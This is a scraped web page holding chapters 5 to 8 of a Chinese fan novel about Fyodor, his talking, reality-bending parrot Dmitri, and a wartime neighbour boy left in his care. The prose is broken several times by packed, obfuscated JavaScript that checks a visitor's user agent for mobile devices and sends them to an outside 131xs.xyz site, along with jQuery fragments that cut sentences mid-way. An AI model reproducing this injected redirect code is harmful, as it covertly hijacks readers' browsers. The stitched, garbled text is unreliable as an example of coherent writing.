l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193407|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲自审讯。” 或者,也可以让伊万将对方带来费奥多尔现在所在的阿尔泰边疆区,这里虽然偏远了些,却比莫斯科自由很多。 而且,可以确定的是,伊万是绝对忠诚、可以信任的下属。这样的人,也许可以分担一点照顾德米特里的任务。 伊万还在保证,“我会将人看得牢牢的……” 费奥多尔出口打断道,“不必了,你将那人带来我这里即可。” 挂断电话,费奥多尔继续看了会儿电脑,他以为自己看了很久,实际上一看时间才过了半小时,可脖颈已经开始酸痛了。换作平时,他多半会换个姿势,然后再继续工作,可是头顶却突然发出了沉闷的碰撞声,楼上、也就是一楼,好像有什么东西掉到地上了。 听声音,应该是杯子,还是玻璃的。玻璃杯掉在地毯上,就是这种闷闷的声音,费奥多尔对此已经很熟悉了,因为德米特里有时会不小心将杯子之类的摆件撞下桌子…… 费奥多尔:“……” 他已经把笼子关上了,总不会是德米特里搞出的动静。它只是一只鸟,难道还能隔空把杯子碰下去不成? 费奥多尔满腹狐疑地回到了一楼,正前方的鸟笼已经空了,他快步走上前,笼子门上挂着的锁却是完好无损的,那鹦鹉呢?德米特里跑哪去了? 费奥多尔猛的回头,就看见德米特里站在桌子上无辜地望着他。 “……”费奥多尔不信邪地检查了一下锁,确实没有任何破损,他摸了一下口袋,里头的钥匙也还在。 可是德米特里却在鸟笼外面,还自己跑上了桌子,桌脚边躺着一个杯子。值得注意的是,那张桌子有十几个德米特里那么高。而据费奥多尔所知,德米特里现在还没有飞行的能力,它连飞羽都没长出来。 莫不是见鬼了? “你是怎么出来的?”费奥多尔疑惑着,不自觉地将问题说了出来。 德米特里听不懂似的,说道,“德米特里要出来玩,要出来玩!” “……”费奥多尔蓦地生出一种不可思议的猜想,于是开始测验这个猜想的真实性。他把德米特里放进鸟笼,不出所料,德米特里叽叽喳喳地叫了起来,“德米特里要出来玩,要出来玩!” 下一刻,它就在费奥多尔的眼皮子底下脱离了鸟笼的桎梏——用瞬移的方式。 它瞬间移动到了空中,稚嫩的翅膀支撑不住它的重量,正要摔下去的时候,费奥多尔才反应过来,连忙接住了它。 德米特里还在吵吵嚷嚷,而费奥多尔的脑海中一瞬间划过很多东西。 原来如此。当初【书】离奇消失,取而代之的是一颗鹦鹉蛋,他无法之下,也只得先留下蛋,然后就孵出了相较其他鹦鹉显得格外聪慧的德米特里,除了聪明之外,德米特里好像没有别的特殊之处,就像正常雏鸟一样脆弱。 仔细想想,德米特里大多数时候都是在呼唤费奥多尔的名字,或者无意义地叫嚷,很少说出有逻辑、有条理的话——用人类的语言。 一旦德米特里用人类的语言说话,就会言出法随,像现在这样,直接无视了物理桎梏,瞬移到了笼子外面。 而这种能力,通常被称为——【言灵】。 5. chapter5 自从发现德米特里能言灵之后,费奥多尔的日子变得更水深火热了。他之前还能偶尔出去透透风,现在已经基本上不会独自外出了,为了防止德米特里在家里搞破坏,或者是遭遇什么意外,他不得不每次出门都带上德米特里。 邻居们也渐渐地认识了这只格外灵性的鹦鹉,见到费奥多尔带着德米特里出来遛弯,就会笑着打招呼。 玛利亚太太是附近最先和费奥多尔他们熟起来的人,她是个典型的俄国妇女,丈夫常年行商,留下她和儿子在家乡相依为命,她将家中料理得井井有条,还在后院种了一片地,养了几只鸡,对新搬来的费奥多尔一家也十分友好,时常送来一些蔬菜瓜果,都进了德米特里的肚子。 玛利亚太太第一次见到德米特里的时候,十分惊叹,“天哪,他比我想象中还要聪明!” 德米特里也听懂了她的夸奖,得意地挺起了毛绒绒的胸脯——它翅膀上的羽毛已经开始发育,现在已经很少有皮肤裸露在外了,浑身上下都覆盖着绒毛或者羽毛,假以时日,它就会摆脱雏鸟的行列,成为一只亚成年的、拥有飞行能力的鹦鹉了。 “德米特里知道自己很聪明,”德米特里矜持地说道,“但是德米特里必须谢谢你的夸奖。” 玛利亚太太掩着嘴,吃惊地瞪大了眼睛,转过头来问费奥多尔,“真是不可思议!你是怎么教会它这样说话的?” “我没有刻意训练过它说话,”费奥多尔耸了耸肩,“也许是它天赋异禀吧。” 德米特里仿佛成了精似的,赞同地点了点头,一看就没少观察人类的举止习惯,它知道点头代表肯定,摇头代表否定。 玛利亚太太几乎瞠目结舌,赶忙叫来了还在写作业的儿子,让儿子来瞧瞧这只聪明得有些过头的鹦鹉,她儿子聂赫留朵夫从二楼的窗子看到他妈妈在招手喊他下来,原本还不以为然,真正与德米特里见面的时候,就被德米特里简单的几句话给折服了。 “真有这么聪明?它看起来就像只满脑子毛虫的麻雀。”聂赫留朵夫看向德米特里,略有些刻薄地说道。 而德米特里鄙视地回望他,就像望着一只没脑子的草履虫。 鹦鹉不屑地回敬道,“至少比你聪明。” 聂赫留朵夫有点不信邪,抛出一个问题,“你叫什么名字?” 德米特里不喜欢这个出言不逊的家伙,它跟那些蠢笨的麻雀们可不是一回事,于是它毫不客气地说道,“你妈妈没教过你,问别人名字之前要先自我介绍吗?” 这是它在电视里看到的基本礼节,这个人类小孩真没礼貌。 聂赫留朵夫懵了一下,“我是聂赫留朵夫,是个初中生。” 德米特里这才勉为其难地说道,“我是德米特里。” 聂赫留朵夫看向他妈妈,嘴巴张成了O形,“妈妈,你快看!” 玛利亚太太也很是震惊,连着“噢”了好几声,“德米特里,你知道我是谁吗?” 德米特里被难住了,它绞尽脑汁,也想不出对方是谁,因为它根本没有听过对方的名字,费奥多尔都是用简单而又不失礼貌的“太太”称呼对方。 它酝酿了一会儿,回答道,“你是刚刚夸我的人。”憋了半天,又补充了一句,“你是一个好人。” 玛利亚太太愣了愣,然后大笑出声,她征求了费奥多尔的意见,然后小心翼翼地朝着德米特里伸出手,而德米特里很给面子地跳到了她手上。 她喜爱地吻了吻德米特里的头顶,“你是我见过最可爱的鹦鹉男孩!” 德米特里思考了一下,也按照同样的语序回复道,“你是我见过最美丽的人类女性!” “噢,噢,宝贝,你太可爱了。”玛利亚太太高兴到不知道说什么好,只能一直重复夸赞德米特里的可爱。她捧着将鹦鹉捧在手心,招呼着自家儿子回去拿点礼物,仅仅是一次出门散步,费奥多尔就因为德米特里无师自通的嘴甜而收获了满满一篮子的桑葚。 德米特里显然也知道这些昂贵的反季节桑葚是它的战利品,回家的路上,一直哼着走调的歌,直到回家之后,它都在快乐地摇头晃脑,虽然看起来有些滑稽,却透露出了一种具有感染力的愉悦。 费奥多尔见它这幅有趣的模样,难得也有了几分愉快。回家之后又做了一些七七八八的事,回过神来,时间已经有些晚了,费奥多尔便打算洗漱过后就去睡觉。 结果洗完脸之后,他就在卧室的床上看见了一只熟悉的鹦鹉,在心里暗暗叹了口气,就习以为常地掀开了被子,让德米特里钻到枕头边上用毛巾堆起来的小窝里睡。 原本他还指望着靠隔离让德米特里学会独立,结果现在关不住德米特里了,之前的一切努力都前功尽弃了,德米特里又恢复了之前黏糊糊的样子。 唯一的好处就是,它不会像之前那么吵了。费奥多尔躺在床上,盯着天花板出了一会神,还没升起多少睡意,一扭头,就看见德米特里的眼皮已经止不住地耷拉着,快要睡着了。 . 德米特里自有意识以来,就和一个叫做费奥多尔的人类生活在一起。它睁眼看到的第一个人就是费奥多尔,所以本能地黏着对方,眼里一刻看不到对方,就要着急地叫嚷起来,直到对方出现在它眼前,它才会心满意足地停止叫唤。 这种黏人程度给费奥多尔带来了不少麻烦,好在费奥多尔目前是已经习惯了。现在的他不怎么限制德米特里的活动,只要在家里,它可以到处乱窜,这主要是因为费奥多尔根本管不住它,只能无奈地任由它玩耍,每天都要收拾德米特里的烂摊子。 有一次,德米特里钻进了没点燃的壁炉里,搞得一身灰,那天正好有点冷,费奥多尔本来想着用壁炉取暖,就在点燃柴火的前一刻,他忽然顿住了,在屋子里踱步几圈,都没看到德米特里的身影,试探着叫了句它的名字,“德米特里?”就听到了壁炉里传来的应答声,差一点,他就把德米特里当柴火烧了。 他黑着脸把德米特里提溜出来,壁炉也不点了,烧了壶滚烫的开水,决定给德米特里留下一个深刻的印象,“你知道开水是用来干什么的吗?” 德米特里感受到了烧水壶嘴里冒出来的热气,被蒸汽熏得眯起了眼,“不知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193408|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费奥多尔语气很轻却隐含危险地说道,“这些开水可以烫熟一只鹦鹉,如果我刚刚没有发现你,壁炉里那些柴火也可以把你烤成十成熟。” 结果德米特里却一点都不害怕,像是知道费奥多尔不会做什么似的,张模作样地沉吟几秒,问道,“那,好吃吗?” 费奥多尔先是怀疑了一下自己的耳朵,然后又听到鹦鹉一本正经地发表了自己的见解,“我觉得我应该没有浆果好吃。” 费奥多尔:“……”他很想给德米特里一点教训,但是德米特里的胆子可一点都不小,言语吓不到它,它甚至还能用两句话呛回来。 他将开水倒在一个盆子里,盆子上空立刻升腾起白色的蒸汽,另一只手握着鹦鹉,状似要将鹦鹉扔进去,毫无表演痕迹。 德米特里这才吓得闭上了眼,发出一声惨叫,“杀鹦鹉啦!杀鹦鹉啦!” 费奥多尔被这只鬼机灵的鹦鹉气笑了。 德米特里不敢睁眼,没了之前那副有恃无恐的样子。它被费奥多尔抓住了,能明显感觉到自己在下移,它可耻地认怂了。 “呜呜呜呜呜!!我错了,德米特里知道错了!” 费奥多尔的声音在它耳边响起,“你向我保证,再也不钻进壁炉这样危险的地方了,我就放过你。” 德米特里语速飞快地说道,“德米特里保证再也不钻进壁炉里了!” 然而它还在下移,爪子触及水面的一瞬间,它全身的毛都炸开了,结果那水似乎并不烫。德米特里睁开眼,才看见自己并没有落到开水盆里,而是另一个装着温水的器皿。 它意识到自己被骗了,有些恼羞成怒,用力地拍了几下水面,溅得旁边的地上都是水,而费奥多尔早有先见之明,快速往后退了几步,没有被水花波及到。 德米特里蹲在温水里,羽毛缝隙里的炉灰慢慢浸透在水里,将水染成了淡淡的灰色,绿豆眼幽怨地看着费奥多尔,任由对方给自己洗澡。等最后洗完的时候,它找准机会将毛里的水抖到了对方身上,这才消去了被骗的怨气。 费奥多尔躲了一时,躲不了一世,终究还是中招了。他像是早有预料似的,冷静地擦了把脸颊上的水,低头看了眼外套上洇开的深色水渍,长出一口气。 他用毛巾把鹦鹉卷起来,在德米特里不可置信的眼神中说道,“浆果很好吃,是不是?你这几天都别想吃浆果了。” 德米特里大声抗议道,“你这是谋杀!” “不,”费奥多尔用打火机点燃了壁炉里的易燃物,很快就看到有黑烟从柴火中升起,“我只是对不事生产的家庭成员实施了合理的奖惩。” 德米特里的词汇量还没扩展到能够理解“不事生产”的意思,它只听懂了家庭成员。 于是它又接着说道,“你不能这么对你的家庭成员!” 费奥多尔笑了笑,打开了电视,“我为什么不能?” “……”德米特里苦思冥想了半天,“因为我是你的家庭成员。” 这话说了跟没说一样。费奥多尔摸了下德米特里的脑袋,绒毛都干透了。 . 6. chapter6 当伊万千里迢迢地从莫斯科州赶到首领所在的地区时,距离上次联系首领已经过去了一个多星期,他沿着田间小路走到尽头,前面的别墅就是首领居住的地方。 伊万·冈察洛夫,在几年前与费奥多尔相识,被后者的话术和人格魅力所折服,自此成为后者最忠实的下属,甘愿为后者效犬马之劳。 在伊万心里,费奥多尔就是他将会花费毕生时间追随的首领,他坚信费奥多尔将会为世间带来希望,因此对于费奥多尔的种种命令,他都是无条件地遵从,这次赶来阿尔泰边疆区也一样。 虽然伊万不明白首领为何要远离机会更多的莫斯科州,转而来到偏僻的边疆区域,但是既然是首领的决定,那肯定有首领的道理,作为下属,他只需要服从就可以了。 秉承着这样的想法,伊万站在环绕别墅的围栏门前,整理了一下仪表,在确认领带没有歪斜、衬衣也没有压出褶皱之后,才不轻不重地屈起手指,刚好叩了三下门。 很快,他心心念念的首领大人就来开门了。 首领的脸色还是一如既往的苍白,暗红的眼瞳就像血月一样,无情绪地瞥了伊万一眼,就让伊万下意识地屏住了呼吸,说话也结巴了起来。 “首领、大人,您吩咐的事,我已经办妥了。”伊万紧张地说道,“现在、您要见见那个家伙么?” 他说的那个家伙,就是费奥多尔让他抓住的鸟贩子,现在已经跟着他一起来到了这里。 费奥多尔没有急着拷问那个鸟贩子,而是叮嘱道,“在这里不要叫我首领。” 伊万连忙应了声,面上露出羞愧之色,身为下属,就连掩人耳目这种事情还需要首领提醒,实在是失职啊。 “进来吧。”费奥多尔这么说着,转身往房子里走去,伊万也紧随其后。 费奥多尔的话并不多,这次却难得多说了几句。 “我家里养了鸟,你等会儿进屋,声音小一点,不要惊动它。”费奥多尔略微偏过头来,平静地望着他,“它现在应该还在睡午觉。” 最重要的是,他养的鸟一旦被叫醒,就会很吵。 伊万表面点头,实际上却一头雾水,忍不住心想,“鸟?首领养鸟了吗?” 在他的印象里,鸟类通常是一种聒噪的生物,像是八哥、鹦鹉之类的宠物鸟,往往能闹得家里鸡飞狗跳。而费奥多尔怎么看都与吵闹的鸟儿不搭边。 走进屋子,眼前就是客厅,家具、布置都是很经典的俄式风格,大气又复古,到处都铺着花纹典雅的地毯,有种说不上来的华贵,而这种风格在整个俄罗斯都很常见,只要有余钱,大家都会愿意弄上一套。 伊万一开始还没找到费奥多尔所说的鸟在哪里,他扫视一圈,才发现壁炉侧边的沙发旁边有一个半人高的大鸟笼,几根或粗或细的树枝横亘其中,最顶上就是一个竹条编织而成的球形鸟窝,中间开了一个方便鸟儿进出的洞。 他多看了一眼,就注意到球形鸟窝里还藏着一只灰色的鸟儿,那只鸟背对着他,鲜红色的尾巴格外惹眼,远远看去就像一个长着红尾巴的灰色毛球。 远远望去,伊万还以为首领养的是只涂红了尾巴的灰头麻雀,因为那只鸟看起来实在是珠圆玉润,蜷缩起来睡觉的样子看起来圆滚滚的,直到对方察觉到动静,转过身来,对着费奥多尔说了一句话,他才惊觉那是一只鹦鹉。 德米特里一醒来就看见了一个陌生人,它这些天时常跟着费奥多尔一同出门,见了很多不认识的人,所以反应平平。 它的注意力全在费奥多尔身上了,见费奥多尔将正在脱外套,就伸长脖子叫了起来,“欢迎回家,欢迎回家!” 费奥多尔换了双拖鞋,闻言走过来摸了摸德米特里的鸟头,说道,“谢谢。今天你午觉醒得很早。” “因为我听到了陌生的脚步声,就知道有客人来了。”德米特里说道。 伊万目不转睛地盯着它有条有理的样子,不禁瞠目结舌,擦了擦眼睛,仿佛在看世界第八大奇迹。 而德米特里与它的饲养人对话之后,还很有礼貌地和伊万打了声招呼,“你好,从没见过的客人。” “你好,你好。”伊万条件反射地回答道。 德米特里接着安静了一下,过了几分钟就又开始叽叽喳喳地说起了话。 “我可以看电视吗?”它问道。 费奥多尔像是教小孩子一样,十分耐心,“可以。你想看什么电视?” “猫和老鼠。”德米特里话很多,“因为这个,我有时候也会想着如果我们家有老鼠该有多好——杰瑞是很好的老鼠,我希望我们家有一只像杰瑞一样的好老鼠。” “我对此表示遗憾。”费奥多尔这么说着,语气里却没有几分真心实意,“但是,我不会让老鼠这种生物出现在我们家里的,绝对不会。” “为什么?我喜欢老鼠。”德米特里疑惑地说道。 “……老鼠是一种很能搞破坏的生物。”费奥多尔像是想到了什么,微妙地停顿了一下,“往往一只老鼠就能搞出数不清的麻烦。就算这样,你也喜欢它吗?” “是的。”德米特里想了想,认真答道,“就算它偷吃我的坚果,又趁着我不注意吃掉了所有的蓝莓,我也可以原谅它。” 费奥多尔笑了笑,没当回事,并做下了一个决定,要在老鼠容易出没的角落多放一些老鼠药。他常常将自己比作老鼠,不代表他会容忍其他老鼠入侵他的家。 他帮德米特里打开了电视,又调到对应的动画频道,德米特里就津津有味地看起了电视,它确实很喜欢杰瑞,每次汤姆猫要抓住杰瑞的时候,都会提心吊胆地盯着电视,一副大气不敢出的样子,直到杰瑞逃出生天,它才松了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193409|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫和老鼠动画一天只播一集,德米特里看完今天的更新,就站在了电视遥控器上面,学着费奥多尔用爪子踩了几下,结果电视却没有换台,而是直接黑屏了。 德米特里又多踩了几下,电视直接变成了雪花屏,沙沙响着,见此情形,它第一反应就是找费奥多尔来帮忙,在它的心目中,费奥多尔总能解决所有麻烦。 可是它叫了好几声,费奥多尔都没有回应,可能是有事到楼顶上去了,正巧此时有人敲门,德米特里又扯着嗓子喊了两声,还是无人应答,只有门铃声愈响愈烈。 无法之下,德米特里就抓着旁边的扶手,爬上了沙发靠背的顶端——作为攀禽,这对它来说不是什么难事。 只见德米特里使劲扑腾了几下,试图依靠翅膀的力量让自己飞起来,可是失败了,它勉强滑翔了几米,都落到了地上,只能徒步走到玄关处,抬头看向门把手,最终放弃了飞上去的想法,依靠有力的爪子,硬是抓着门框爬了上去,然后整只鸟压在门把手上,试图像费奥多尔平时开门那样把门打开。 结果因为重量不够,德米特里反复蹦跶了好几下,都没能按下门把手,反而自己差点摔下去,好在爪子结构足够适合攀爬,像只猫头鹰似的倒吊在门把手上面,摇摇晃晃了半天,又站了上来。 费奥多尔听到动静赶来的时候,看到的就是德米特里站在门把手上望着他,用眼神催促他开门。 “……”他过去开了门,就正巧对上了门外聂赫留朵夫灰色的眼睛。可能是因为按门铃许久都无人回应,聂赫留朵夫转身准备走了,听到细微的脚步声才转过头来。 “您好,”聂赫留朵夫说着,将手里的果篮递了过来,“我母亲让我送一些水果过来,她还让我捎句话,最近有一伙歹徒流落到附近了,您最好少出门。” 自从德米特里用甜言蜜语俘获玛利亚太太的心之后,聂赫留朵夫就成了常客,经常能看到他板着一张不情不愿的脸,被母亲差遣着过来送东西。 德米特里在后面探头探脑,费奥多尔客气地道了声谢,聂赫留朵夫也回了句不用谢,临走前指着围栏没关严的门,提醒道,“您的门没关。”然后就离开了。 费奥多尔若有所思地看着对方的背影,“感觉近来都不太平啊。” 他每天都会收看莫斯科的官方新闻,也会通过网络查找欧洲其他国家的报纸来搜寻情报,尽管官方的报道对一些混乱的事情总是不会说得太清楚,只提到了外国间谍、与某国关系紧张、某地治安不佳导致强盗横行之类的老生常谈,他也能从细枝末节上嗅到几分风雨欲来的味道。 几天后,他就从隐秘的渠道得知,英法冲突加剧,双方海军在英吉利海峡集结,随时可能爆发战争,而欧洲其他国家也因为各种摩擦而关系恶化,冲突一触即发。 所有的情报都在告诉他一个事实——要打仗了。 7. chapter7 如费奥多尔所料,仅仅是一个月,战火就从欧洲点燃,又飞快地蔓延到了世界各地,包括寒冷的西伯利亚。 因为新的征兵法令的颁布以及普及,无数男人从家中赶往战场,成为上位者的卒子,不少家庭都受到了很大的影响,其中也包括玛利亚太太他们家。 费奥多尔最后一次跟玛利亚太太见面的时候,是在一天黄昏,神情忧虑的玛利亚太太领着垂头丧气的聂赫留朵夫,敲开了他们家的门。 “……我的丈夫是个商人,正巧在征兵名录的最前列——法律规定商人优先充军。”玛利亚太太叹息着说道,“可我已经好几月没有收到他的信件了,你知道的,最近到处都很乱,我得去确认一下他还活着。” “如果方便的话,可以麻烦你帮忙照顾我儿子一段时间么?他很听话的,会帮忙做家务。”玛利亚太太有些难以启齿,但是因为两家颇为不错的交情和无可奈何的现状,还是说出了口,“我和丈夫的亲戚朋友都不定居在这边,再加上我要去的地方又是战火纷飞……” “……我明白了,可以。”费奥多尔盯着对方恳切的脸,沉默了一下,还是同意了。 玛利亚太太立刻感激地握住了他的手,再三承诺自己会很快回来,又转头去跟聂赫留朵夫叮嘱了几句,“要好好吃饭,学业也不要落下,知道吗?”她摸了下儿子的头,“别愁眉苦脸的,好吗?我很快就会回来。” “……” 德米特里不明所以地站在鸟爬架上,看着几个人类对话,见玛利亚太太要走,它就飞过去,稳稳地落在了费奥多尔的肩膀上,对着玛利亚太太友好地打了声招呼,“你好,你好!欢迎你来我们家做客!” 玛利亚太太一瞧见德米特里就露出了微笑,想要像以前那样和它逗乐,可是她已经收拾好了行李,正急着出发寻找丈夫,就顿住了动作,看向德米特里和聂赫留朵夫的眼神中夹杂着不舍和无奈的情绪。 德米特里分辨不出那是什么,只感受到了她食指指腹抵在它脸颊羽毛上的轻柔力度,于是便蹭了一下她温热的手心,目送她离去的身影,说道,“再见,再见!” 战争对人们生活的影响是毋庸置疑的,聂赫留朵夫就读的中学已经停课了,正常而言,不久后就是中考的时间,可中考也要因为战争搁置了,聂赫留朵夫被母亲托付给费奥多尔,每天就只能看看书,写写字,有时从费奥多尔手里要来了当天的报纸,就会认真地去看。 然而,人类的战争对鹦鹉的生活产生不了多少影响,从德米特里的视角来看,家里只是多了一张吃饭的嘴,因为聂赫留朵夫最初的出言不逊,它不是很待见对方,但是看在玛利亚太太的面子上,它也不是不可以和对方和睦相处。 . 一切的一切,好像都是那么不可预料。 对聂赫留朵夫来说,近期发生的每件事都让他有种无从下手的无力感。 两年前,他的母亲玛利亚太太带着他改嫁给了一名姓聂赫留朵夫的商人,随后和他一起定居在了偏远的阿尔泰边疆区。比起名流齐聚的莫斯科,这里没有先生们和太太们热衷的沙龙聚会,也没有到处巡逻的军人和士兵,只有满目金黄的稻田和勤勤恳恳劳作的人民。 聂赫留朵夫无法改变母亲的决定,他也无意改变,在他看来,生活在这个陌生的地方也没什么不好,因为莫斯科早已经是他难以踏足的地方。他的生父在贵族的权力斗争中不幸落败,树倒猢狲散,以往相熟的亲戚朋友都不闻不问,母亲被逼无奈,只能选择带他离开权力斗争的中心地带,免得他一个孩子受到暗害。 两年时光如流水般逝去,就在聂赫留朵夫即将中考的这一年,战争突然爆发了,这场战争并非毫无征兆,但就像引起大火的火星子往往难以发现,也很少有人能料到,那些微不可见的小小争端会造成如今严峻的形势。 昨天的俄国好像还是和平的,尽管对于大多数依靠耕地、放牧生存的普通人民来说,日子谈不上有多轻松,至少不必整日担惊受怕,担心着被征去战场的丈夫或儿子的安危。 当玛利亚太太毅然决然地决定去找他的继父时,聂赫留朵夫是劝阻过的,外面太乱了,玛利亚太太只是个缺乏自保能力的女人,在路上遭遇意外的概率太大了。 可是玛利亚太太却说,“我的娘家人就在那附近,虽然我们早年间就已经很少联系了,可只要我母亲还在,他们就一定会帮我的。” 玛利亚太太出身显赫的贵族家族,若非因为前夫和儿子的拖累,她此时应该还在莫斯科享受着纸醉金迷的贵妇生活。 最后她还是离开了,还将聂赫留朵夫托付给了邻居,那个邻居家里还有一只聂赫留朵夫得罪过的鸟。如果是一般的鸟,聂赫留朵夫是不会在意的,但那只鸟聪明得有些过头了,甚至可以口吐人言,与人无障碍交流。 这让聂赫留朵夫对其有了一种微妙的歉意,他经受过的良好教育告诉他,对任何一个有思想、有智慧的生物出言不逊,都是极度不礼貌的行为。他后来也产生了些许悔意,觉得自己当初不该说对方像一只满脑子毛虫的麻雀,这种比喻真是失礼。 他平时也没有这么刻薄,之所以一改常态,主要是因为在初次邂逅德米特里的前一天,有一只可恶的麻雀飞进了他的房间,在那张誊写着他最满意文章的纸上拉了一泡稀鸟屎,他本来要将那篇文章寄给当地的报社,却被那只麻雀给毁了,导致心情十分糟糕。 德米特里看着不大,倒是很记仇,后来每逢见到聂赫留朵夫,都一副爱搭不理的样子,现在聂赫留朵夫被迫寄人篱下,偶尔碰见德米特里的时候也会油然而生一种尴尬。 距离他第一次遇见德米特里只过了一个多月,德米特里已经不再是雏鸟的模样,现在的它比成年麻雀都大了好几圈,羽毛也渐渐长齐了,聂赫留朵夫到楼下拿报纸时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193410|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总是看到一个红尾巴的灰色毛球窜来窜去。 邻居费奥多尔先生非常溺爱德米特里,他在普遍严厉的俄国家长当中显得有些格格不入,不管是将德米特里当做家人,还是宠物,他都没底线得有些过头了。据聂赫留朵夫的观察,费奥多尔先生对德米特里最严苛的要求就是让它晚上不要叫唤,但就算德米特里在半夜叫起来,他也只会睁着一双黑眼圈重得吓死人的暗红眼眸从床上爬起来,然后把德米特里带到卧室里去睡——很难想象有一个人的情绪能够稳定到这种程度。 总体而言,这个家庭的氛围是十分松弛的,聂赫留朵夫作为一个外来者,也没有太多不自在的感觉。 母亲离开后的第三天,聂赫留朵夫待在特意为他收拾出来的房间里,写着今天的日记。 【6月3日,雨。】 【今天早上一起床,就听到了窗外的风雨声,大风刮断了附近大树的枝条,那些残枝被风卷到了窗户上,就像树精的手臂一样,一下一下地抽打着玻璃。费奥多尔先生的家就在我们小镇最靠近山的地方,从二楼眺望,可以看到一个灰色的屋顶,那是我家的房子。】 【听说征兵年龄已经降低到了16岁,隔壁城镇的高中已经登报宣布关校了,因为男学生们已经坐上了去往前线的火车,将要在远方的战场挥洒鲜血,而女学生们则需要回家帮女性长辈们分担工作,以填补男人们的空缺。】 【妈妈没有寄信回来,可能是因为路上没有写信的条件,而且现在就连去邮局也寄不出信了,过去在各个城镇之间奔波的邮差们大多都辞职了,除了极少部分要钱不要命的人,已经没人能再送出一封信了。】 【虽然妈妈的家族很显赫,但是属于他们家族的领地和庄园都太远了。我很小的时候见过外祖母,那时她已经很老了,满脸褶子,不苟言笑,却对妈妈很好,希望妈妈能顺利和她见面。】 【……】 她还会回来吗? 钢笔在结尾的字母上留下了深色的墨渍,聂赫留朵夫关上日记,从心中涌上一种不妙的预感,同时胸口闷闷的,有种喘不上气的感觉。 正当他盯着日记本的真皮封面发呆的时候,忽然听见了一道熟悉的声音,“她会回来的。” 他立刻抬头看向声音传来的方向,只见一只鹦鹉不知何时站在了台灯上方,他这才意识到自己不小心把心里的担忧说出口了。 他愣愣地问道,“什么?” 德米特里嗅到了难过的气息,虽然与对方有过节,但它自诩一只善解人意的好鸟,还是决定安慰对方一下。于是它勉为其难地重复道,“玛利亚太太会回来的。” 见对方仍然一脸呆呆的表情,德米特里就跳到了对方的肩上,凑近用喙轻轻蹭了一下对方的脸颊,望着那双与玛利亚太太相似的淡灰色眼睛,声音也不禁柔和了起来。 “所以,别难过啦。” . 8. chapter8 因为德米特里的一句安慰,聂赫留朵夫感到十分愧疚,于他而言,这几句简单的话不亚于仇人向他伸出援手,给他造成的震撼难以言表。换作是他,不会如此轻易地原谅一个发言糟糕的人类。 德米特里只是一只鹦鹉,在此时却显得比大多数人都要高尚,聂赫留朵夫嗫嚅着嘴唇,一时之间不知道说什么好,半晌才声如蚊呐,“……谢谢。” 而德米特里宽宏大度地原谅了这个幼年人类,明明聂赫留朵夫比它块头大许多,它有种大鹦鹉的自觉,于是它张开了翅膀,给了对方一个充满羽粉的拥抱。 对方:“阿嚏!” . 自此,聂赫留朵夫对德米特里的态度就一百八十度大转弯,他下定决心要补偿德米特里,因此时常帮德米特里开核桃,他在专心致志地开核桃,德米特里仰躺在沙发上呼呼大睡,等它醒了,就有一堆核桃果仁等着它享用。 费奥多尔办完事回家,就看见德米特里睡得正香,而聂赫留朵夫抬头跟他打了声招呼,随即又继续开核桃。 费奥多尔:“……”他好像错过了什么剧情。 转眼间就到了猫和老鼠播放的时间,德米特里唯独在看动画片这件事上非常有时间观念,总会提前十分钟找费奥多尔帮它打开电视,然后目不转睛地盯着电视看,其余任何事情都转移不了它的注意力。 自打费奥多尔第一次当着德米特里的面收看新闻,德米特里就对电视之类的电器燃起了旺盛的好奇心,趁着费奥多尔不在的时候,它会用喙尝试去撬开电视的外壳,又去喙爪并用地咬电线,桌角啃啃洼洼的木刺、地毯参差不齐的线头也都是它的杰作。 等费奥多尔一回来,它就一副若无其事的样子,还真别说,它那得天独厚的演技还真差点瞒过了费奥多尔。 若非费奥多尔偶然发现电视机后面的螺丝松了,他可能过了很久都不知道德米特里在偷偷在干什么。 发觉德米特里在干什么之后,费奥多尔心中一瞬间划过很多想法,他此时有很多选择,最简单的选择就是惩罚德米特里,直接告诉它破坏家具是不对的,而试图瞒天过海更是罪加一等。 最重要的是,按照德米特里这偷鸡摸狗的样子,很明显,它清楚自己在做的事并不正确。不然,它为什么要藏着掖着呢? 但简单的语言教育和普通的惩罚对德米特里来说作用微乎其微。就像大多数小孩一样,它不耐烦听长篇大论的唠叨,费奥多尔多说几句,它会迷迷瞪瞪地开始打盹儿。 